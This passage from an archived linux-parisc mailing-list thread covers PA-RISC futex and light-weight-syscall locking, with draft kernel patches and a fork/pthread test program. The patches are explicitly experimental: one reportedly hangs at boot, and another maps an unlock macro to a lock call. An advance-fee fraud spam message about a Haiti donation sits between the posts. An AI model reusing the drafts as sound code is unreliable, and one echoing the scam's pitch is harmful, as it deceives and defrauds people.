In arch/parisc/kernel/syscall.S we use a lock table called lws_lock_start[]
to guard the LWS code against other competing userspace processes.
I wonder if this really enough, esp. since we do implement futex syscalls
(e.g. clone/exit calls uses futex functions to change userspace values
because of CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID).

Do we maybe need to protect the LWS code path with the same locking table as the
generic kernel? Atomicity of futexes writing to userspace are not in sync
with the locking of the LWS/lws_lock_start[] code.

I tried to come up with a patch for that which I attached here, but sadly
it hangs as soon as the init process is started on a 64bit/SMP kernel.
So either my thinking here is stupid, or I do have a stupid coding bug.

Furthermore, the coding for futex_atomic_op_inuser() in
arch/parisc/include/asm/futex.h seems to miss real functionality.
I didn't looked closer into this though.

Helge

--------------080806060407050402090501
Content-Type: text/plain;
 name="z1"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="z1"

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..50353bd 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -290,5 +290,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..878f42c 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +131,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..7925a68 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -11,6 +11,7 @@
 #include <asm/unistd.h>
 #include <asm/errno.h>
 #include <asm/page.h>
+#include <asm/cache.h>
 #include <asm/psw.h>
 #include <asm/thread_info.h>
 #include <asm/assembly.h>
@@ -530,18 +527,17 @@ lws_compare_and_swap32:
 
 lws_compare_and_swap:
 #ifdef CONFIG_SMP
-	/* Load start of lock table */
-	ldil	L%lws_lock_start, %r20
-	ldo	R%lws_lock_start(%r20), %r28
+	/* Calculate lock table entry via ATOMIC_HASH(%r26) */
+	ldil	L%__atomic_hash, %r20
+	ldo	R%__atomic_hash(%r20), %r28
 
-	/* Extract four bits from r26 and hash lock (Bits 4-7) */
-	extru  %r26, 27, 4, %r20
+#ifdef CONFIG_64BIT
+	extrd,u %r26, 63-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
+#else
+	extru	%r26, 31-L1_CACHE_SHIFT, ASM_ATOMIC_HASH_SIZE_SHIFT, %r20
+#endif
+	shladd,l %r20, ASM_ATOMIC_HASH_ENTRY_SHIFT, %r28, %r20
 
-	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
-	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
-	add	%r20, %r28, %r20
 
 # if ENABLE_LWS_DEBUG
 	/*	
@@ -672,31 +668,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
-	/*
-		All light-weight-syscall atomic operations 
-		will use this set of locks 
-
-		NOTE: The lws_lock_start symbol must be
-		at least 16-byte aligned for safe use
-		with ldcw.
-	*/
-	.section .data
-	.align	PAGE_SIZE
-ENTRY(lws_lock_start)
-	/* lws locks */
-	.rept 16
-	/* Keep locks aligned at 16-bytes */
-	.word 1
-	.word 0 
-	.word 0
-	.word 0
-	.endr
-END(lws_lock_start)
-	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */

From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 2 Feb 2010 22:44:21 -0500
Organization: nrc.ca
Lines: 41
Approved: news@gmane.org
Message-ID: <20100203034420.GA8520@hiauly1.hia.nrc.ca>
References: <20100108211733.852134EF4@hiauly1.hia.nrc.ca> <4B689634.8060408@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265168679 10060 80.91.229.12 (3 Feb 2010 03:44:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2010 03:44:39 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 04:44:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NcWAL-0004fE-Ql
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Feb 2010 04:44:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753725Ab0BCDoZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Feb 2010 22:44:25 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2743 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753700Ab0BCDoY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Feb 2010 22:44:24 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D84CE4EF4; Tue,  2 Feb 2010 22:44:21 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <4B689634.8060408@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2616
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2616>

On Tue, 02 Feb 2010, Helge Deller wrote:

> I wonder if we have some problems with the LWS code path in the kernel
> regarding atomic locking with futexes?
>
> In arch/parisc/kernel/syscall.S we use a lock table called lws_lock_start[]
> to guard the LWS code against other competing userspace processes.
> I wonder if this really enough, esp. since we do implement futex syscalls
> (e.g. clone/exit calls uses futex functions to change userspace values
> because of CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID).
>
> Do we maybe need to protect the LWS code path with the same locking table 
> as the
> generic kernel? Atomicity of futexes writing to userspace are not in sync
> with the locking of the LWS/lws_lock_start[] code.
>
> I tried to come up with a patch for that which I attached here, but sadly
> it hangs as soon as the init process is started on a 64bit/SMP kernel.
> So either my thinking here is stupid, or I do have a stupid coding bug.
>
> Furthermore, the coding for futex_atomic_op_inuser() in
> arch/parisc/include/asm/futex.h seems to miss real functionality.
> I didn't looked closer into this though.

While locking may be a problem, it is not the main reason the minifail
program fails.  The program fails on my c3750 with a 32-bit UP kernel.
There is no locking in this kernel.  The LWS code relies on the scheduler
for atomicity.

I tried disabling interrupts around the crucial three instructions but
it didn't help.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jennifer kohne <janifer.khone@btinternet.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Donation to Haiti.
Date: Wed, 3 Feb 2010 11:00:20 +0000 (GMT)
Lines: 23
Approved: news@gmane.org
Message-ID: <449545.63432.qm@web87010.mail.ird.yahoo.com>
Reply-To: jennifakohne@yahoo.co.jp
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1265194828 13461 80.91.229.12 (3 Feb 2010 11:00:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2010 11:00:28 +0000 (UTC)
To: undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 12:00:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nccy8-00042i-8X
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Feb 2010 12:00:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754725Ab0BCLAX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Feb 2010 06:00:23 -0500
Original-Received: from n29.bullet.mail.ukl.yahoo.com ([87.248.110.146]:42583 "HELO
	n29.bullet.mail.ukl.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1754624Ab0BCLAW convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Feb 2010 06:00:22 -0500
Original-Received: from [217.146.182.180] by n29.bullet.mail.ukl.yahoo.com with NNFMP; 03 Feb 2010 11:00:21 -0000
Original-Received: from [87.248.111.190] by t6.bullet.ukl.yahoo.com with NNFMP; 03 Feb 2010 11:00:21 -0000
Original-Received: from [127.0.0.1] by omp209.mail.ukl.yahoo.com with NNFMP; 03 Feb 2010 11:00:21 -0000
X-Yahoo-Newman-Property: ymail-5
X-Yahoo-Newman-Id: 782709.4594.bm@omp209.mail.ukl.yahoo.com
Original-Received: (qmail 66223 invoked by uid 60001); 3 Feb 2010 11:00:20 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=btinternet.com; s=s1024; t=1265194820; bh=nukE0dtqnk+6ZFrE7ob2PTycOWGD0N3b9ZFBOFTiWUI=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=kzx+UhYiqD+iaV1D1b2TznQtTei1XcEITxx+lIUdCCTYExURtRwrJYaBze3B+hsxOfbUJhZuxCoz4wQwpBrdTooM0Wbug3HygdNLRuStLz4FYLAi1uLqaOrth+EuIjSgrWsMMDtzB3e34c5o+uHXXIzUsf9ybb0iNERehh2E2Bk=
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=btinternet.com;
  h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding;
  b=sQlzgeBQt4P3yuSabI20tIP5kZz13ZQBstx6gUGDWB1Ix1GMG74dxyiwBF+SMJT9J0Mt/r09+NJhYTodZoU7PAZa5BCJyoShR9AelbidcGBo+TWOWXa8r4NDQUvJRFWAf6q+Y78+JV4HpTBmpFeObvDh8pCaJ4n4HuzikhhSDdA=;
X-YMail-OSG: _BiiZdoVM1myboPqb4SMiXpabzzCvoinV2rexkPrWqtyZQR3nlALLEke3HeLWFXBSIXrJ1uCxr4UohUxtZA5aOtH9asQU3kSq_frCliEZpLKQyZEIMlYU5jrfKU0la_0BPcOX0n_7_oklZDLrfBaX078J77smcj1pBHbnnU9Vtl26ubZWXrFSuo7alERVSPNOHEsyUF5m7sn2R707jwQUAb0WG54fq0MbXpAQWCZA97eqMGHDg1apKCTBZi_ehjDSETnMJSo5W50dgxrMfN_too1JSBR2mlVngL2Qs8lk3jEqeoGd._C4.xeABwj9kw2L1Wbt.reoa6lf7hbDHyog_W1aJSWzNAKXnIRUSqh2n55DFHKjXVQNcuWScNVkPiq4TV672zhFth2EPCw_9Ujo4EHR7alZZRhOLcy24fOZGXzyR.qrZzyTzA.ypCamSe1Dbw4aNnJ_WUi5QYS.ZwYF9c5SNL9x9_uTdPw9jJpE07H.RLIQwc2PEKjovYG5D6ObfGKkymoS4c7vSWL0n6sp.YhZiipCcQKiydHskDwH1AMW25e4jqkPUzPG_OaUE18gDbOSw1mVwkHNvC48uRfWAvdS31G4qnNCynzqm1H9mtKDo1GHxAfrf1uLSVtxAyVhfLEz51xEwpksZBBsiqmQDrZTlbSZ5yXOcWB5fSt_SMG13NF..SIaQ6WG13Vw.SQUxyRbzwZH8vEf8Ebe65eW5X93.bhThLe8nXGhvSYVs9BGSF2m.J83gjc8y4YGZDp8djjIqA37M3PtBschhP
 QlLnIZhVj1Yj92ygTuRZXFLhwa56Y4z3iv_lTRz_JtGLr8SgAYA7khxfJOtcpt_USeNlCJuje4TyvWbzVuEjpN3VyevpPytOt_ 
Original-Received: from [41.207.3.221] by web87010.mail.ird.yahoo.com via HTTP; Wed, 03 Feb 2010 11:00:20 GMT
X-Mailer: YahooMailClassic/9.1.10 YahooMailWebService/0.8.100.260964
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.9 points;
 * -0.7 BAYES_20 BODY: Bayesian spam probability is 5 to 20%
 *      [score: 0.1155]
 *  4.0 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL
 *      [41.207.3.221 listed in zen.spamhaus.org]
 *  1.2 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.linux.ports.parisc:2617 gmane.spam.detected:4548322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2617>

Donation to Haiti.
 
I have a proposal for you,this however is not  mandatory nor will I in any manner compel you to honor against your will. Your profile pushed me to send you this mail,
 I am Mrs Jennifer Kohne. from Kuwait. I am married to Mr. Jean Kohne who worked with Kuwait embassy i Ivory Coast for nine years before he died in the year 2006. We were married for eleven years without a child. He died after a brief illness that lasted for only four days. 
 
 Since his death I decided not to remarry or get a child outside my matrimonial home which. When my late husband was alive he deposited the sum of US$3.8million dollars in a Bank here in Abidjan Cote d'Ivoire. Presently, this money is still in bank. Recently, my Doctor told me that I would not last for the next Eight months due to cancer problem. 
 
The one that disturbs me most is my stroke sickness. Having known my condition I decided to donate this fund to a charity organization that will utilize this money the way I am going to instruct herein. I want to donate this fund to Haiti toward recoery efforts.
 
 I took this decision because I don't have any child that will inherit this money. This is why I am taking this decision, And I don't need any telephone communication in this regard because of my health,
 
 As soon as I receive your reply I shall give you the contact of the Bank here in  Abidjan Cote d'Ivoire. I will also issue you an authority  letter that will prove you the present beneficiary of this fund. I want you and the organization to always pray for me. 
 
Any  delay in your reply will give me room in sourcing  of another organization or good person for this same  purpose. Please assure me that you will act accordingly as I Stated herein. Hoping to receive your reply. 
 
Thank Yours 
Mrs Jennifer Kohne

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 03 Feb 2010 23:03:49 +0100
Lines: 412
Approved: news@gmane.org
Message-ID: <4B69F2C5.30802@gmx.de>
References: <20100108211733.852134EF4@hiauly1.hia.nrc.ca> <4B689634.8060408@gmx.de> <20100203034420.GA8520@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------010104090504020303010203"
X-Trace: ger.gmane.org 1265234646 20854 80.91.229.12 (3 Feb 2010 22:04:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Feb 2010 22:04:06 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 03 23:04:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NcnKI-00047T-IU
	for glpp-linux-parisc@lo.gmane.org; Wed, 03 Feb 2010 23:03:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752543Ab0BCWD5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Feb 2010 17:03:57 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53468 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753701Ab0BCWD4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Feb 2010 17:03:56 -0500
Original-Received: (qmail invoked by alias); 03 Feb 2010 22:03:53 -0000
Original-Received: from p54AD3149.dip0.t-ipconnect.de (EHLO halden.box) [84.173.49.73]
  by mail.gmx.net (mp053) with SMTP; 03 Feb 2010 23:03:53 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19dP75I/Gtd08DfHce8AHISHwHwpIAoxd6jhBplwT
	OSguGVCKQWlp86
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <20100203034420.GA8520@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58999999999999997
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2618>

This is a multi-part message in MIME format.
--------------010104090504020303010203
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 02/03/2010 04:44 AM, John David Anglin wrote:
> On Tue, 02 Feb 2010, Helge Deller wrote:
>
>> I wonder if we have some problems with the LWS code path in the kernel
>> regarding atomic locking with futexes?
>>
>> In arch/parisc/kernel/syscall.S we use a lock table called lws_lock_start[]
>> to guard the LWS code against other competing userspace processes.
>> I wonder if this really enough, esp. since we do implement futex syscalls
>> (e.g. clone/exit calls uses futex functions to change userspace values
>> because of CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID).
>>
>> Do we maybe need to protect the LWS code path with the same locking table
>> as the
>> generic kernel? Atomicity of futexes writing to userspace are not in sync
>> with the locking of the LWS/lws_lock_start[] code.
>>
>> I tried to come up with a patch for that which I attached here, but sadly
>> it hangs as soon as the init process is started on a 64bit/SMP kernel.
>> So either my thinking here is stupid, or I do have a stupid coding bug.
>>
>> Furthermore, the coding for futex_atomic_op_inuser() in
>> arch/parisc/include/asm/futex.h seems to miss real functionality.
>> I didn't looked closer into this though.
>
> While locking may be a problem, it is not the main reason the minifail
> program fails.  The program fails on my c3750 with a 32-bit UP kernel.

Hmm, I can't reproduce it at the moment with a 32bit UP kernel on my
c3000. The minifail3 test program I currently use (to avoid glibc issues)
is attached.

> There is no locking in this kernel.  The LWS code relies on the scheduler
> for atomicity.

yep. This should then work an a UP kernel.

> I tried disabling interrupts around the crucial three instructions but
> it didn't help.

Ugh.

Anyway, my current patch which compiles and runs fine is attached here as
well. Maybe you want to try it on your SMP builds? It includes the syscall.S
changes you sent last time too.
In this version of the patch I added on own LWS locking hash table for user-space accesses,
which is used in the LWS code and when some (probably not all) put_user()/
get_user() calls are made in the futex code.

Feedback still welcome.

Helge

--------------010104090504020303010203
Content-Type: text/plain;
 name="minifail3.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="minifail3.c"

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

 gcc  minifail3.c -o minifail3 -O0 -pthread -g

 Run as: i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail3; done;

 */

static volatile int run;

void* thread_run(void* arg) {
	write(1,"Thread OK.\n",11);
	_exit(0);
}

int main(int argc, char** argv) {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			exit(0);
		default:
			break;
		
	}
	pthread_join(thread, NULL);
	return 0;
}

--------------010104090504020303010203
Content-Type: text/x-patch;
 name="parisc_lock_v2.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="parisc_lock_v2.patch"

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..18d57c8 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_lock_irqsave_user(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..50353bd 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -290,5 +290,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..878f42c 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +131,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..1f12418 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -11,6 +11,7 @@
 #include <asm/unistd.h>
 #include <asm/errno.h>
 #include <asm/page.h>
+#include <asm/cache.h>
 #include <asm/psw.h>
 #include <asm/thread_info.h>
 #include <asm/assembly.h>
@@ -47,18 +48,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
